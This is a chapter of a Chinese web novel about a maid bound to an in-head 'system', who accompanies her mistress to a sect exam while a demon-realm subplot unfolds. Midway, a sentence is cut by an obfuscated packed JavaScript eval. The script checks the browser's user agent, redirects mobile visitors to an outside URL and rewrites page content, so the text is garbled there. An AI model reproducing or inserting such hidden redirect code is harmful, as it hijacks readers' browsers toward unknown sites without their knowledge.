【内个什么,宿主。为了给每个宿主保留隐私,宿主梦境是系统无法踏足的领悟。系统顶多能知道宿主在想什么,和宿主互为一体,但是宿主脑海中念头强烈到出现画面时,就比如现在,统留在宿主识海内的视野一片漆黑,只能看见外界景象。】 对哦,系统很会装模作样为宿主保留人权。 可问题是,我都不介意脑袋里有这么个东西了,还介意它看我做事吗? 我在异常空虚中爬起床,换了条底裤。今天是重要日子,想必每个人都起得早。 因为我多换了套衣服,饭桌上人员齐备,每个人鼓足了劲吃早饭。 这些天时间,根据我的观察,会清露和小姐相处得很好,两人都一回来就加紧练习,吃了饭立刻下桌,除了打声招呼,其余时间埋头苦练。 感觉现在……会清露有点避免与我过多接触。明明初见时她好像很喜欢我? 还有个不算太重要的观察结果。就是,会清露……她稍微长了一点,身高体重都是。是她一开始太瘦,所以还挺明显。 ……她家看来是真的很困难很困难,平时吃不饱穿不暖,她那么瘦纯粹是吃不饱饭饿的。 吃过饭,我们一同前往考场。 考试序号昨日已经分配完毕,除了最基本的各科考试内容,还有最后,也是最重要的一项个人测试。 个人测试为多门派联考,考生人数百万之多,内容是让学徒自行下山,去为需要帮助之人完成任务,时间为期三天,超时则为失败。今日便算第一日。 我站在考场外,看小姐一项一项完成普通测试。普通测试进行得很快,不出中午,就能陪小姐出门去。 门派会给学徒发任务牌,三人一组互相监督,任务牌指引学徒们去寻找需要帮助的人,并不是什么忙都能帮。 所谓帮助别人,任务牌能够感知的只是一些小事,所以,不会有什么“我要毁灭世界,请你帮我”这种要求出现。 为了防止学徒们因为争夺任务打架,距离需要帮助者最近的任务牌将自动亮起,表明已经被激活,同一个任务只能激活一个任务牌,直接从根本上避免纠纷。 学徒们没有选择权,哪怕是自己应付不来的情况。是的,考试嘛。学徒是没人权的。 任务完成后任务牌会感应到受帮助之人的思绪能量,进行评分。 个人测试考验的是学徒们与人交往能力,还有是否会随机应变。 与普通测试成绩相加,才能得到最终结果,如果个人测试分值是零,除非普通测试成绩优异到超群,这样的结果既能说明该考生是个社恐,大概也奠定了以后独自一人默默修行的基调。总之很不推荐就是了。 我家小姐真的是,很优秀很优秀。 个人测试小组由普通测试成绩分配,一万人按名次取成绩相近者一组,性别分开。 快出结果了。 我看看天色。 银色太阳光芒璀璨,此刻还是上午。估计等分配结果出来,小姐未必会留下吃中午饭,分秒必争,既然和她成绩相近,说明另两人很可能也这么想,我们中午前就会离开门派下山。 是的,这是常规情况。 但,我知道很可能会和小姐分配到一组的人是谁。就在昨天。 消息是我这些天卖力纠缠云间月,系统好不容易破解出来。幸亏这些天小姐同样卖力备考,否则我一下课就不见人影非得叫她发现不可。 系统终于验证我的猜想,入门测试上果然有事件发生,而且是不小的事。 不出意外,云间月,会清露,还有我玉燃兮会分配到一组,在今明两天遭遇一场把所有考生卷进去的事故。 【善仙白昳,受五界信仰最多的仙,最近修成了厉害功法,下界来造福苍生,正赶上广大学徒进行测试,她每天都在为学徒们发布需要帮助的任务,无形中积攒许多思绪能量,不是所有思绪都是好的,这些思绪中有许多恶念,白昳在无形中把这些恶念向她自己汇聚,云间月也不知道该怎么形容造成的后果,这么说好了,白昳最终成魔……有神力的魔?宿主这个世界,魔族与神极其相似,不知为什么,可能是作者这么设定?】 我不大认同:「应该是堕神才对。这听起来是个快速成神的办法,只不过,神君是善神,像这样集结恶念成神的,只能称为……堕神了吧。更何况世界不认可非它选择出的神君,还是说,在云间月的成神之路上,需要各种各样前人以身为她指路,她才知道什么能做什么不能做。」 万万没想到, 【宿主说得有理。】系统承认那叫一个干脆,【确实是有参考才有方向,这样女主就会知道堕落成神不可行。】 我:「……」作者恶意真的很大。那看来就算没有白昳,以后也会有类似事件。 我无法阻止这件事发生。 一个人的思绪,也许很小,所有招新人的门派都在这段时间进行入门测试,人数加起来百万有余。 这些学徒本就通过天赋检测,有不同程度的力量,修士使用法术时会有思绪能量溢出,这是无法改变的过程,百万学徒思绪融合起来,会诞生很不得了的,似魔似神的存在。 「听你这么说,白昳没有发现她自己在做什么,她只是每天发布一些请用法术帮我买东西打扫房间做家务的任务。那从前那些测试为什么无事发生?」 【从前没有人利用这件事达成目的,只是因为,还没有人能做到罢了。但是,白昳是那种牌位受很多人信奉,自身从不杀人,依靠做好事修行成仙的善仙,凭她的功法能够做到。】 百万人的恶念……听起来就,非常可怕。 在听过系统描述之后,我把它命名为:堕神诞生事件。 那么,堕神诞生后,又能做什么呢? 系统套用世界背景,换成我能理解的说法:【世人皆希望时光倒流,自己记得一切,回到过去改变未来,这样庞大的欲望干涉之下,就算无法拉住一往无前的时间,一定也能做到什么,比如让界与界之间规则不复存在,五界再没有约束与保护,能力强大者大开杀戒,生灵涂炭。】 上一世白昳被恶念附身,精神上身受重伤无法医治,魂飞魄散。云间月以自身为饵,把恶念引到鬼界的万鬼哀嚎窟。只不过……以死去无数人和自己差点重伤而亡为代价。并且,白昳死去线索中断,没有人知道她为什么要这么做,神界折损一员大将实力衰退,引发神界那边动荡,给神君带来不小的麻烦。 昨夜我想叫莫莹绣过来问问有没有好办法,但她好像有急事,人没在,怎么叫也没反应。 这件事,得完全靠我自己了。 【宿主,系统还是不建议您干扰本次事件,让女主自行解决吧,反正她后面进入万鬼哀嚎窟时也吃了这些恶念引导她剑灵炼化的福利,她自己给自己创造机缘……】 昨天系统就很不赞同我参与这件事,我们差点吵起来。我说了句我们都好好想想,就睡了。 一夜过去。它仍旧告诉我明哲保身。 但。 「不行,如果真的让云间月以自己为饵,以灵魂承受这么多恶念,以后她就会更容易疯癫……不对,用你的说法是黑化。怪不得升入内门测试上她差点走火入魔,如果真让她经历这些,哪怕那时候给她传输恶念的不是我,换成任何一个人,还是有可能成事。我不能划水。」 【……宿主,你太上进也不是好事。但我尊重你的想法,这些天我们积攒不少能量,努努力,或许我能在你家小姐出事前召唤出个厉害东西。】 是的,这些天我知识储备量突飞猛进。 「搞什么,这么神秘兮兮。」搞得我好奇起来。 【天机不可泄露,说出来就不灵啦。】 「好吧。」 我迎上拿到结果的我家小姐。 “好巧,我和会清露一组。”小姐对我扬一扬她的纸,“上面还有……云间月?不认识呢,也许是别组。” 不。我的女主。云间月她就在小姐你背后。 “玉燃兮?”云间月同样拿着纸。纸上折射出一道发亮的细线,连接小姐手中的纸。 再然后,会清露也急急忙忙跑过来。 三个人,齐了。 世界之力,是真的很厉害。 除非云间月自己有所改变,否则任凭我怎么费力气都很有可能竹篮打水一场空。 三人互相做了自我介绍。 “走吧。”云间月还是老样子,对人淡淡的,脸上挂着浅笑。 我家小姐也是笑脸,社交礼仪式微笑。相比之下,会清露显得……有些局促和紧张。 也对,这一世的的她,还不认识云间月。……从现在开始也认识了。 相遇是必然。 云间月看见我,我条件反射对她笑,哎呀,不好不好。这些天我苦苦纠缠,总不能冷脸对她。所以基本上都是我死乞白赖使用各种手段拖住云间月脚步。我当真是她前进路上的绊脚石。 让我惊讶的是,云间月,也对我笑了笑。一副……和我很熟的样子。 嗯……这样,是不是,不太好?毕竟我家小姐还在这……“喂!你们等等!” ——里。 怎么回事?讨人厌的家伙来了。 程追原从后面追上我们。我有反省过,系统说,原作中的女主吃得很好,也就是说原本有无数个男性配角登场,是因为世界化为真实后的云间月主观上不喜欢和男人接触,她会主动避开,但不保证能避开每一个,所以万一有很多,我一号二号往后排,自己都会不记得序号,还是直接叫名字好了。 我下意识以为程追原是来找我家小姐。难不成……他还得依依惜别一下?他怕我家小姐考试失败先回玉城去,然后他的贵妃娘亲把他绑回去和小姐成婚,两人从此做一对貌合神离的表面夫妻? “玉燃兮。” 坏了,他还真是来找我家小姐的! 我顿时如临大敌,屏气凝神听他下句说什么。 “我,我……” 程追原又像那天和云间月说悄悄话时那样结结巴巴,我憋气半天,他就说两个字,我……好歹也是个邪修,一口气憋半盏茶不成问题。 程追原是来浪费我们时间的? 但我家小姐面对他时多少会有些好脾气,耐着性子点点头,“十五殿下,有什么事,您说。” 这么多天过去,连行礼也省了。可不是小姐偷懒,是程追原这混蛋说总这样讲礼数太奇怪,特意让省了的。 有一点小姐没说错,程追原再也找不到比她身份更高贵的婚约候选人,虽然第一城卞家和他家是表亲关系更近,但……近亲结合容易诞生神智缺陷的孩子,贵妃估计也不同意。而且卞家的几位嫡女要么许了人家要么年纪不对等, 就是说……我家小姐和程追原的婚约,如果我没能从中阻拦,很大概率,会成。哈,我会阻拦到底的。没有原因,他不配。 程追原憋得脸红,终于说出话来,感觉快有半刻钟时间过去。 “我,我想和云间月一组,玉燃兮,我喜欢云间月,你能把名额让给我,去我那组吗?我那组有定王的嫡幼子和他的未婚妻,第三城谢家的嫡二女谢微瑜,你认识的。” ???我……我忽然不敢看我家小姐了。他他,他这个人怎么这么说话?!我家小姐确实认识第三城谢家女,是个特别喜欢收集人偶的女孩子,人很温和,每次宴会都会带她喜欢的年糕点心和我们分享,就是特别喜欢拉着人聊人偶话题,比找婚约对象兴趣高昂得多—— 谢家小姐最近不在宴会上出现,原来相中大将军定王的儿子。也挺好,因为每次她拉着小姐聊人偶都会让小姐身体僵硬,不管讨论是人偶大师名字很奇怪还是哪种香水用在人偶身上最好闻—— 我怕我面目过于狰狞,用手捂着嘴。 虽然不用我阻拦是方便,但这样!小姐和云间月的矛盾—— 果然,我家小姐很受伤。明显到是个人都能察觉出来,但她还想刻意瞒着,装作若无其事。 我到底没忍住,偷偷瞧她。小姐看起来……在忍着眼泪吧。 好歹是个告白场面,我也看了云间月反应。 云间月,她一点反应没有。就像被告白的人不是她。 如果她身上带着计时沙漏,这会肯定要频频看。 以云间月的主观印象来提取记忆就会出现这种结果。 对我来说,眼前是件大事,但对云间月来说无足轻重,她根本不放在心上,系统破解不出来。 小姐一定是郁闷极了。可是,她不得不微笑,不得不做出有涵养的样子,笑着说: “殿下,您是我看中的婚约对象,知道我是个强势的人,我必然不会答应您。而且,云间月是女孩子,我姑且认为,还是避嫌得好,否则有些话传到贵妃娘娘耳朵中去,我不敢保证这些话经过数人口耳传递会变成什么样,如果您守规矩……” 小姐从口袋中拿东西出来。 她真是气急了,手都在抖,一不小心,把一个小瓷瓶掉出在地上。 她暂时没去捡。她不动,我也不动。不能输气势。 小姐拿出些信纸,对程追原晃了晃,“贵妃娘娘说,怕殿下您不成材,好歹我也比您年长一岁,她希望我叮嘱您点,有什么事及时给她传信回去。想来您也很不希望这件事被众说纷纭中传递回去,您更希望我在信中写无事发生,可是这样?” 程追原视线牢牢盯着那些信纸。 皇家呢,最讲究。什么东西都是独一份,像是这些信纸啊,甚至程追原给我的那个瓷瓶,都生产自贵妃在第五城的城主母家。是主打招牌,只供给这一脉使用,别人想求也求不来。 所以这些信纸一出,他立刻知道,小姐说得一定是真。 嘿,他傻了。在那杵着,看看信纸,游移不定看看我家小姐。 其实,如果小姐不会被杀死的话,就算……就算她真的喜欢,只要她能幸福,我一定会赞成,前提是程追原也真心待她。问题是。程追原是个眼瞎的。不喜欢我家小姐。从此刻起这桩婚事我会阻拦到底。何况害死小姐他算半个罪魁祸首。 另外那半个呢? 我再偷偷去瞧会清露。 瓷瓶滚到会清露脚边,她好心去捡,我估摸她在来门派求学前应该也是给什么人家做帮佣,有些当过仆人才有的下意识举动她也有。 反正现在程追原僵着,我抢在会清露之前捡起瓷瓶,对她笑笑,说,“谢谢。” 会清露也对我笑。很腼腆。 可爱。 她是有可能害死我家小姐,也还是比程追原可爱得多。不,两者根本没有可比性。 程追原回神,嗯嗯两声,“就当我没对你说过这些话,我知道你其实一点也不在意我,玉大小姐大人有大量,一定立刻就会忘了。” 他倒是会敷衍。 这些从官家出来的人。都一个样。 这下,他总该走了吧。 没想到,更绝的还在后面。 程追原走到会清露面前。 他不认识会清露,张口就来: “喂,你,对就是你,我不认识你,那你肯定不是什么富贵人家,你开个价,和我交换位置。” 他他他怎么能收买会清露?! “……” 我忍住想要抽他大嘴巴子冲动。不好不好,过去一年里打人成习惯,差点想抽死他。 我继续憋气。心想,就算会清露真的同意,我也不能说她什么。她家里饭都吃不饱,妹妹久病不愈,剩下娘一个,要忙着帮工还要照顾妹妹,收人好处也算收入来源……所以。一码归一码。我不会因此记恨她。 不会。 会清露微怔,不认识程追原,也不知道他到底怎么个脑子。 我看得出,她是有犹豫的。 她下一刻就会同意了吧…… “不行。”她说,“我不能答应你。” ……欸? 她对上程追原,气势蛮坚定。我惊讶。 这还是……那个和我说话吞吞吐吐的女孩子吗? “啊?”程追原又愣住,没想到自己两次求人都不成。 他还真以为这态度是求人来了。 “为什么?”他问。 “我……”会清露因为这份理直气壮,稍有犹豫,竟然真的给出一个回答:“我这期间住在玉燃兮……的宿舍,她刚刚说了不想让你同组,我总不能恩将仇报?” 其实,她明明可以不答的。就说句,我不乐意,就行。 没必要非得解释。 程追原还没小肚鸡肠到会追着一个普通人家女孩子斤斤计较,他可是皇男,哪怕会清露是哪个官员家的小姐他也未必会放在心上。 “哦,这样啊。” 程追原有些遗憾,他至始至终都没敢看云间月,这会可能也害臊起来,匆匆丢下句,“那就这样吧。” 走了。 我眼见会清露松了口气。 我发现,这个女孩子,在某些方面,有她自己的原则。 她可能……也是像云间月,两人有共同点,都是那种比较拧巴的人。因为有原则,拒绝妥协,哪怕自己费力不讨好。 她会杀我家小姐,恐怕真的是有什么非常清晰触及底线的缘由。 她也是个很努力的人。 家里条件不好,一心想求学出人头地,选择吃苦修行这条路,只是……为了门派学徒那点月钱?或是真的在赌一个自己不会因修行死于非命,而是能养家糊口的可能? ……希汀吟是承诺过会给她多发钱,可基数在那里摆着,翻几倍也不算多。没有依靠的学徒走修行这条路,根据各种统计结果来看,死亡率不低。说不定哪天就会为人嫁衣。 应该是,她不想一辈子给别人帮佣吧。 命运要掌握在自己手里才算命运。 我家小姐肯定不便和她说这些话的。云间月根本是事不关己高高挂起。 我悄悄落后一步,走在会清露身旁。 “刚刚那人你不用放在心上。他家里和我家小姐门当户对,看不上我们这些人,你只是同他说几句话,他不会和你计较,更不会报复。” 会清露原本埋头走路,视线只盯着脚下一小块地方,听我这么说,偏过头来看我。 “玉燃兮……和他?”会清露似乎也觉得这桩姻缘不妥,下意识皱眉。 我不能直说程追原对我家小姐无意,那太让人寒心。 “刚刚多谢你啦。”最后,我只是对她微笑。 “哪里。”会清露忽然又把视线低下去,“没什么的……” 我猜她和我一样心事重重。很能感同身受。 拍一拍她手臂,“加油。” 会清露低下的头牵起嘴角:“好。” 眼见已经到了中午,经过这么一番折腾,今天娘以为我们不回家,中午不做饭。与其下山吃饭浪费时间,还不如去门派食堂糊弄一口。 食堂人比往日少很多,我担心小姐吃不惯这里的普通饭食,但见她和平时无异。再一想到小姐在露天上了一个月课,每天都是席地而坐。 她……天生就不是在意这些小事的性子。 我家小姐,在这方面非常洒脱。 我终于稍微安心了点。 可是…… 【宿主……行程比预订时间晚,是不太一样了。上一世女主根本没有遇见男配,在上午就出发下山,但即将发生的事不会改变,请宿主安心,不必过于情绪起伏。】 嗯。系统知道我心神不宁。 我……我其实,有点怨恨云间月吧。 如果没有她。如果不是她的话。 要是她没能从程追原门前路过……「唉?」不对啊,这事不怨她的。 系统说过,是有人盯上云 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754918|186020||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间月,想要让云间月回归原作剧情,那些人是原作死忠粉来着。 【宿主,你终于发现了。还请多多留意,这些人一定会想方设法接近在原作中有名有姓的角色们,发现的话。统可以定位她们坐标,我们在月黑风高之夜找个信号好的地方,统需要打开一个单向传输通道,把坐标发送出去,通知主脑那边采取措施。】 「立刻就能清除?」这么快? 【不是。分情况。三次元的人想要进入二次元,要转换存在形式,改写能量构成才行,这套过程很麻烦,所以大部分人会采用意识提取等方式,简单粗暴,直接把自己的意识附身在小世界中刚刚出生的世界居民身上,为自己找一个适配性高的身体,实际上本体还在三次元那边躺着,主脑可以追踪定位,从三次元唤醒本体,送上免费电疗包治百病。】 这不就是被雷劈醒么。 还免费电疗。 系统的故意逗趣让我莞尔。它看出我心情不好。还真别说,如果是这样能体察心意的聊天对象。就算一直留下来在我脑海中。感觉也很有趣。 这一刻我很能理解那些和系统双宿双飞的宿主。 【宿主……绑架系统是违规的……有些宿主后期真的能做到这点,但宿主不要以为主脑没有应对计策,还是不知道的好。】 「安啦,玩笑呢。」我在脑海中对系统笑笑。 下山路上。 旁边树丛黑影一闪。 我心有灵犀看过去。 黑金色,一长条。在树丛后对我摇尾巴。 我慢慢落在后面,向树丛后面抛过去东西。 这些天,我一直,在门派各个地方看见这只黑金相间的狗。 每次我都会喂它东西,买兔兔饭剩下的钱正好用来买狗狗饭。 这只笨狗,只急着吃,一吃到饭根本顾不上看人,有时候我一天能遇见它两三次,遇见了就喂它。 奇怪的是,它总是很瘦。 不是,它也太懒了吧!我真的会怀疑它是不是记住了我气味,专门在经过路上等着我喂它。 但它只是一只普通的狗,看起来也不太聪明的样子……说不定它是四处讨食,只有我喂给它呢…… 想到这次要离开两三天。它不会饿死吧。 我叹口气。又给它加上几天的保护结界才继续往前走。 · 魔界。银色日光大盛。 这里平时多半昼夜不分,魔族天生更喜欢夜晚,因此把有银色太阳出现的日子视作不吉之兆。 但也算不上凶兆啦……魔界人没那么迷信。 有太阳出来还能晒晒被子呢。 黑衣女仙走在去为魔主汇报工作路上。猜得没错,她是莫莹绣。魔主是魔界统治者,而她出于个人情况,即便成仙,也有为魔主效力的理由。 让她想想,汇报完工作之后,她有必要和成仙前与她对接的同僚再进行汇报,然后她得回趟家,最近魔界与人界风头不大对,她得命令家中护卫们加强防守。 莫莹绣眯着眼穿过被阳光照射得锃光瓦亮的宫殿长廊。别说她,魔主的侍卫也都觉得这阳光太刺眼,纷纷躲在柱子后面避光,见她过来就行个礼,继续躲着。 莫莹绣眯着眼走完这条路,心想,算了,侍卫也只是偷会懒,反正现在没别人,由她们去吧。 在魔主门前,她礼貌敲门。这是她才有的习惯。 魔族不喜好过于讲礼数,还没等她敲第二下,门自己打开。 莫莹绣走进去。 站在空无一人的殿堂,开始汇报工作。 等她汇报完抬头时,无人的王座上坐着个身影,一头黑发,头顶长角,身后有尾巴,坐在王座椅背上漫不经心甩尾巴玩。 那模样,不过是少女。 “我主。”莫莹绣行礼。 “行了。”少女晃着她的腿,丢过来一本折子,“我正烦着,希行门你知道吧,人界分部那边给神界总部递消息,说她们那闹虫灾,整个门派四处可见头那么大的虫子,推测是蛊虫,不知道怎么长那么大,闹得鸡飞狗跳的,呵呵~”少女说着笑起来,“希行门在魔界是大门派,神界总部传消息过来,说我们这边分部最擅长蛊术,要——申请调人手过去解决麻烦呢,折子递到我这里,需要我签字同意才行。” “主的意思是……” “如今局面你也瞧见了,人修士界一直击杀我们的同族,不允许她们通过人界界门回归魔界,搞不好要开战,这时哪怕多外派一个人手,也是减损我方战力,所以,当然不行。” 少女对莫莹绣一指,莫莹绣手中折子凭空而起,化作一缕紫烟,烧个干净。 这本来就不是要过问莫莹绣意见,魔主只是在发牢骚。 “就当没这事。我不知道。”少女发完牢骚,仍旧面带愁色。 “您愁容满面。”莫莹绣说。 “唉……我的二儿子跑啦。便宜侧夫死了,二儿子离家出走,还说不要找他,我哪能不找,你猜怎么着?”少女一声冷笑,顿时空气变冷,“还真就没找着。他才……不到十岁呢。竟敢耍我,岂有此理……等我找着就把他许人家做童养夫,让我看看找哪家好……” 砰!门被用力弹开。 两人一齐回头看向门口。 瞬息间,从门外飘进来个人,一身琉璃装饰,璀璨夺目,稀里哗啦响。 奇怪的不是装饰,是这人——正手持武器架在怀中人脖颈上。 武器是琉璃笛子。 怀中人垂着头,从露出的脑门和耳尖能看出面色古怪,脸黑的魔也不会有这种怪脸色,这是……中毒了。 还是很猛的毒。 “南琉璃……”魔主在看清来人瞬间叫出对方名字。她一直面带忧愁,此刻却……好像在哭。 她就快要哭出来了。 莫莹绣听清楚这个名字。 “南琉璃?你,您……不是神界守界大将,怎么会在这里……”“是又如何!”琉璃衣裳女仙怒吼打断,“莫莹绣,你靠边站。神界仙门万家不论门派,只论辈分你也叫我一声师长。我不针对你,走开。” “不行,”莫莹绣老实摇头,“您挟持的是我同僚,我还要和她交接工作,我得完成我的工作才行。” 听到这话,脸如酱色的中毒女魔抬起头来,挣扎:“咳咳,前辈,前辈……不必……不必理会我,能为我主尽忠是我毕生梦想……我……死而无憾……”“不行,你不能死。你死了我会很难办。非常难办。”莫莹绣略微皱眉。 她还急着回家去,同僚不能工作,她何时才能回家? 女魔听闻这话,顿时像打了鸡血充满活力起来,双眼放光,咳嗽得更大声:“咳咳。咳咳!有前辈这句话!我会撑住,不会死的……” 魔主不让手下再说下去,走到南琉璃身前几步,两人对峙:“她是你后代族人,虽说曾是人族后来堕魔,但有家族契约在身,你怎会不知?” 南琉璃久久凝视魔主。 明明是在威胁。 两个都年纪不大的女孩子…… 南琉璃泪水糊满了脸。“我知道……”这句语气不对,充满哽咽,她重新凶狠开口:“我知道!我就是用她来威胁你!我们现在是仇人!因为你违背了我们之间的誓言,天道认可我们的契约,说好永远不结婚——” “是我背誓。我成为魔主,必然要有后代。正夫会为我生个女儿。只需要他生个女儿。我不愿再娶别人。我……”魔主掩面抹泪,“我要遵守母亲命令,我没办法啊……” “呵!”南琉璃冷哼,猛吸一口气:“你就用你母亲做挡箭牌吧!妈宝女!我给你手下下了人界奇毒,不告诉你是什么……你……”泪水从眼眶涌出,提起的一口气再说不下去,她紧咬嘴唇。 场面安静无话。 憋了一会,南琉璃冷声继续说:“你休想找到解毒办法。你违背契约,我们不再是朋友,只能是敌人!我会想方设法残害你身边人折磨你……如果……如果我不这样……阿恒,如果我不这样,我们都会被契约反噬,这是世界见证的契约……” 南琉璃嘴唇咬出血来,魔主眼泪横流。 最后,中毒的女魔被扔在地上,南琉璃转身就走,魔主没有拦。 她只说:“……让侍卫去拦吧。今天日头这么大,侍卫们……也松懈了。” 莫莹绣要去扶同僚,魔主摇头制止,“别碰她,我知道南琉璃性子,她死不了。我叫族人来,我族中有一脉专擅蛊术,先让人看看是不是蛊。有些蛊会通过接触传播,碰了你也要倒下。” 很快有人闻讯赶来。 来人年长,身后跟着个和魔主差不多大的女孩子,两人都低头,看不清长相,检查了女魔后汇报情况。 “不是蛊,没法治?!”魔主惊呼出声,指着两人:“废物,要你们何用!” 这下气得不轻。少女指间在空中一转,已经烧毁的折子重新复原,她把折子甩向两人,两人低着头,为首的年长者捧起折子。 “是。办事不周,谨遵我主旨意。” 折子上,签名处,行云流水两个大字: 壹恒。 魔主签了字,“我好像忘记名字。谁……来着?几万年前派到人界去,再没回来。” 莫莹绣接上:“您是说,林采吗?” “对!就是她,她从前是人,说熟悉人族情况,混进去打探消息,已经够了,你们叫她回来。”这句话是对低头的年长者说。 年长者只会应是,倒是那个女孩子,临走前悄悄抬头瞥一眼魔主。 等两人退走,莫莹绣意识到这件事横生枝节,如果她想按时回家,就必须在更多工作分发下来前主动揽活。 莫莹绣请缨:“主,请允我去人界寻找解药。” 魔主一挥手:“行,去吧。” 莫莹绣松口气,刚想走。她知道魔主性格乖戾,走慢了有可能变卦。 “等等。” “是。”想着果然如此,莫莹绣定住。 “你等等再走。不急着找解药,有契约在她死不了,我不允许手下就这么死了,契约的能量不够弥补就消耗我自己的,我给她续命,你多待几天,”魔王坐到她的椅背上,上半身向后仰,以极其危险姿势,有一搭没一搭摇晃身体,“你家中护卫不少……也算兵力,要调的话我会跟你说一声……如果记得的话。” 最后说话声很小。 莫莹绣一如既往遵从:“是,悉听我主召令。” 根本没听到最后那句。 21.月光下、爆炸 我们队伍是跟着云间月在走的。 这是必然。 我又一次知道了什么是世界的力量。 我家小姐因为程追原的事很明显不开心,现在我也不担心云间月对我笑吟吟她会不会发现,因为…… 云间月微笑着看我。我家小姐皮笑肉不笑频频看云间月。 她的心思估计都在云间月身上,大概是想看明白为什么程追原会喜欢这个女孩子而不是她,根本不关心去哪里,会清露更是出发起就低头不语,队伍走哪她跟着。 原本我家小姐是强势性子,说不定会强调自己要去的地方,但现在整支队伍全靠云间月带路。 而她——一直朝一个方向走,装也不装。 「……」我对系统的关心保持沉默。 因为程追原喜欢云间月,小姐定是产生了危机意识和争强好胜心。 很可能就是这些,导致她的死亡。 云间月带领我们渐渐离开修仙者地界。 修仙者这边基本上是成片的深山,只是现在有路,放在从前都是没有人来的山林。 人皇以城池治理天下,一座城下分为几十个郡,郡再下分为几十个县,虽然有偏僻村落在山中,但真正的大山深谷处罕有人迹,空着也是空着。 不知多少代前的人皇把这些地方拨给修士,数万年下来,一代又一代学徒们硬生生把深山老林开发出路来。 修仙者嘛……遍地修士的地方想助人为乐也难。 不管是门派规矩还是朝堂律令都严令声明修士不可用法术害人,一经发现两方追杀,换句话说,如果一个修士和普通人结仇,可以肉搏,但普通人绝对绝对不会轻易招惹修士,更别说结仇。 临近傍晚,趁着天边还有最后一抹余辉,云间月把我们带到一处城镇。 这里。还是个大城镇,第十城,主城。 城门有看守,见我们是门派学徒,没怎么审查就放行。 节日时城镇不禁止夜行,哪怕是鬼节也一样。大城中常有集市彻夜摆摊经营。 普通人对这些突然到来的门派学徒们持见怪不怪态度。不想惹麻烦的会躲远点,剩下的该做生意做生意,甚至有很多生意专门针对不曾远游的学徒们,什么祖上传承的技艺,独门吃食啦,做生意要交税,都算为城创收,城主不禁止。 所以这时候就有很多摊子。每个城镇都非常,非常热闹。一到晚上街灯亮起,人影绰绰。还有小孩子出来玩耍,买东西吃。 街头巷尾都是人。 云间月在城中找了家客栈作为落脚点,开了四间房,对我们点点头,自己关门休息去了。 我看出来,她其实什么也不想做,白昳肯定在这座城某处,云间月打算等到事发,再一次承受痛苦,像过关一样把这事过去。 我关切看向我家小姐。 小姐神色如常,只低声说: “灵佑……我想一个人待会儿。” 她心情很不好。 我得……我得想办法逗她开心。 【要不要统为宿主找找白昳在哪,顺着思绪流动方向,肯定能找到。】 「不必了。我一个人走走,看看能不能买到什么好东西,该发生的事迟早发生,我现在无法改变什么,逗小姐开心更重要。」 第十城主城有一片城中湖,这里呢……是旅游区。 是以发展旅游业为主的城镇,小姐的外祖家,自从老大人辞官后就在第十城某个城镇中养老,离主城不太远,以前城主带着小姐前来拜访,后来小姐自己也来过这。 我对这里还算有印象。 第十城主城有一处绝景,名叫日月同天,只有在金色满月的夜晚才可看见, 过于明亮的金色满月像一轮冉冉升起的太阳,抵过银色太阳的孤高清冷,照耀着它之下数以万计城镇,人们。 湖水中倒映的并不是金月亮倒影,而是……银色太阳。 因为湖水中有特殊岩石,只是一种自然现象。 但很久很久以前的人们的确把这里当做不祥之地,谁能想到……今日昌盛景象? 今月曾经照古人。 可惜今天并非满月,最近天象也不像会有金月亮出现,夜晚一直是阴天,简直是预兆要出事似的。 我买了糖,在湖边咬着吃,面前湖水波光粼粼,夜里秋风吹得急,我忽然想到,我家小姐还织了领巾送给我……出门在外,我不会把小姐送的东西就这么不爱惜地使用。有股视线,刚刚起就落在身上。 一低头,一个小女孩直勾勾盯着我……手里的糖。 她。她嘴里已经在吃着东西。 但还盯着我的。 这孩子不到四尺高,六七岁上下。 我知道小孩子有时候的确会这样,看见想要的东西走不动路。 那些和我家小姐谈天说地的世家女,除了会讲许多流行话题,像是传承下来的天价古董首饰,请宫里绣娘专门订做的衣服,名家数道工序做出的胭脂,要预约一年半载的高价大师手笔人偶娃娃,分析大师选择‘上上’这个奇怪名字作为招牌寓意……等等等等。时不时还会拿她们家中幼子做道具,对约会男方展示她们有多贤妻良母,这种做法无可厚非,毕竟也算一种优势,但我真的见过不少孩子又哭又闹,原因是盯着我家小姐身上的亮晶晶装饰不肯走……小孩子真的很喜欢这种发亮的东西。 是糖的话还好。就是……如果她盯上的不是我在吃这根。就更好了。 眼前这孩子衣着中上,身边没有大人跟着。 城中这时候会加强警备力量,不只是城主的兵力,还有修士坐镇,防止门派学徒有动了歪心思的乱来,所以这孩子孤身一人也没遭遇什么。 ——暂时还没。 我……我对小孩子哭没辙。 我感觉,如果我现在就走,这个小女孩下一秒绝对会因为拿不到我手里的糖号啕大哭。她说不定会因此被盯上。 那我总不能把吃着的给她,她可能真的不介意,但我会介意…… 我回头向身后的商铺张望,想看能不能找到走失处,把这孩子送过去……还真有,走失处挂着显眼旗帜。 一回头。 !!! 这,这孩子长我手上了!!嗷呜一口咬住我的糖,那架势要把我手吞下去。 怎么回事,我竟然听不见她扑上来的声音?? 我一松手,小女孩如愿以偿薅走我的糖,一手一个吃得可开心,还对我咧嘴笑,露出缺齿的门牙。 哦。这孩子在换牙。怪不得看见糖走不动路。 小孩换乳牙最容易牙疼,小时候我和我家小姐都有脸肿得厉害,彼此互相对视哈哈大笑的时刻。 大人不让吃糖,别说糖,甜口的菜都要少吃。 小孩最爱吃糖了,说不让吃简直要了命,会想方设法找糖吃。 就是说别人舔过的也不介意……但我很介意。 “……” 我一时说不出话来,只能看着这孩子舔我的糖。 小女孩两个大眼睛看我,眨巴,眨巴。 希望她长大以后想起这件事不会脸颊发烫。 嗯……从她会抢我东西来看,应该是身上没带钱的,她另一个糖哪里来?要是抢了别人的,肯定早被发现是走失的孩子,然后有人来处理了。要不是走失的孩子,自己偷溜出来的孩子最大乐趣就是用攒下来的钱给自己买东西玩,怎么可能出门不带钱? 怪怪的。把她丢在这里会让我觉得很不好。 